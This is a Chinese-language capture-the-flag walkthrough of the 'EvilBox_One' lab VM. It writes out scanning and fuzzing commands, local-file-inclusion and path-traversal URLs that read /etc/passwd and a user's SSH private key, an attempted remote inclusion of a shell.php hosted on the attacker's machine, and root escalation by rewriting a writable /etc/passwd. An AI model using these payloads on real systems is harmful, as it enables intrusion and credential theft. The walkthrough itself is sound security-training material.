EvilBox_One
0x01 主机发现
1 | sudo arp-scan -l |
0x02 端口扫描
1 | sudo nmap -p- 10.0.2.9 |
0x03 服务发现
1 | sudo nmap -p22,80 -A 10.0.2.9 |
0x04 多重路径爆破
看到只开放了 22 端口和 80 端口,初步尝试 SSH 爆破无果,访问页面试试
只有一个 Apache 初始页面,对于这样的页面思路就是路径爆破了。先试着访问默认的 robots.txt 是否存在。
接着使用 gobuster 进行路径爆破(其他工具皆可,此工具为 GO 语言编写,速度较快)
1 | gobuster dir -u http://10.0.2.9 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,hyml,jsp |
只发现了一个二级目录 /secret,此页面访问为空,右键查看源代码也为空,那对二级目录继续尝试爆破
1 | gobuster dir -u http://10.0.2.9/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,hyml,jsp |
0x05 文件参数爆破&文件包含漏洞
发现 /secret 目录下存在一个 evil.php 文件,这里访问页面还是为空,右键查看源代码也为空。那就继续尝试对此php的执行参数进行爆破(这个可能比较少见,但试试)。先新建参数值字典:
1 | vi val.txt #将(1 2 3 a b c ' " ( < , ; ? / %)作为字典值,换行写入 |
1 | ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAN -w val.txt:VAL -u http://10.0.2.9/secret/evil.php?PARAN=VAL -fs 0 |
第一次尝试没爆破出结果,那尝试参数包含文件,即尝试包含服务器本地存在的文件,即 index.html
1 | ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.0.2.9/secret/evil.php?FUZZ=../index.html -fs 0 |
可以看到存在 command 参数,疑似存在包含漏洞,访问以下链接效果相同,说明确实存在文件包含漏洞
1 | http://10.0.2.9/secret/evil.php?command=../index.html |
那尝试远程文件包含,即在本机新建 shell.php,让目标在远程加载
1 | http://10.0.2.9/secret/evil.php?command=http://10.0.2.4/shell.php |
无果,推测此文件包含漏洞属于本地文件包含,并不能远程包含文件。
那现在的思路是使用 php 语言支持的封装器,就是各种请求协议,比如 data、php、file、zip等。先用 php 协议尝试读取当前漏洞文件源码,此处需把源码转换成 Base64 读取,不然 php 源码会直接被解析
1 | http://10.0.2.9/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php |
解码获得 evil.php 源码,确实存在文件包含漏洞
这里想着能否用 php 协议写入文件,尝试访问,直接404,应该是没有写入权限。
1 | http://10.0.2.9/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.php&txt=MTIz |
0x05 本地文件读取&SSH密钥破解
继续尝试,想起这个文件包含漏洞是针对本地的,那么可以用于文件读取,尝试读取 /etc/passwd
1 | http://10.0.2.9/secret/evil.php?command=../../../../../../../etc/passwd |
成功读取并看到有一个非系统账户 mowree 有 bash 权限。想起目标开放了 SSH 登录服务,并且支持密钥登录。
1 | ssh mowree@10.0.2.9 -v # -v 参数打印登录详细信息 |
补充一下:密钥登录是,客户生成 SSH 公私钥,把公钥放在服务器上,私钥放在本机,两者用于登录验证,但默认配置,公私钥是在服务器上的。
那现在的思路就变为,是否能够利用文件包含漏洞,读取公钥、私钥信息,用于直接登录。
1 | http://10.0.2.9/secret/evil.php?command=../../../../home/mowree/.ssh/id_rsa#私钥,本地用于登录认证 |
1 | http://10.0.2.9/secret/evil.php?command=../../../../home/mowree/.ssh/authorized_keys#公钥,放在服务器上 |
把私钥复制到本地,新建 id_rsa 文件,赋予600权限,太大太小都不行,尝试登录:
好吧~,人家对私钥进行了加密,还需要另外的密码才能使用这个!
但这里确实是个突破点,就只能继续尝试爆破了
1 | 复制本机破解字典 |
成功登录~
0x06 提权到 root
常见提权手段来一波
1 | sudo -l # 无 sudo 权限配置不当 |
那就找找有没有 suid 或 sgid 配置不当的文件,发现只有默认的系统文件
1 | find / -perm /4000 2>/dev/null #搜索权限配置不当,屏蔽错误信息 suid-4000 sgid-2000 |
那就再找找有没有配置不当的可读写文件
1 | find / -writable 2>/dev/null | grep -v proc | grep -v sys | grep -v tmp #过滤部分文件前缀 |
可看到当前用户对 /etc/passwd 居然有读写权限。/etc/passwd文件只存在账号列表及对应的权限,对应的密码文件存储在 /etc/shadow 文件,只有 root 能读写。但如果能直接修改 /etc/passwd文件,就可以直接覆盖 root 密码
1 | openssl passwd -1 #生成加密密码 |
成功登录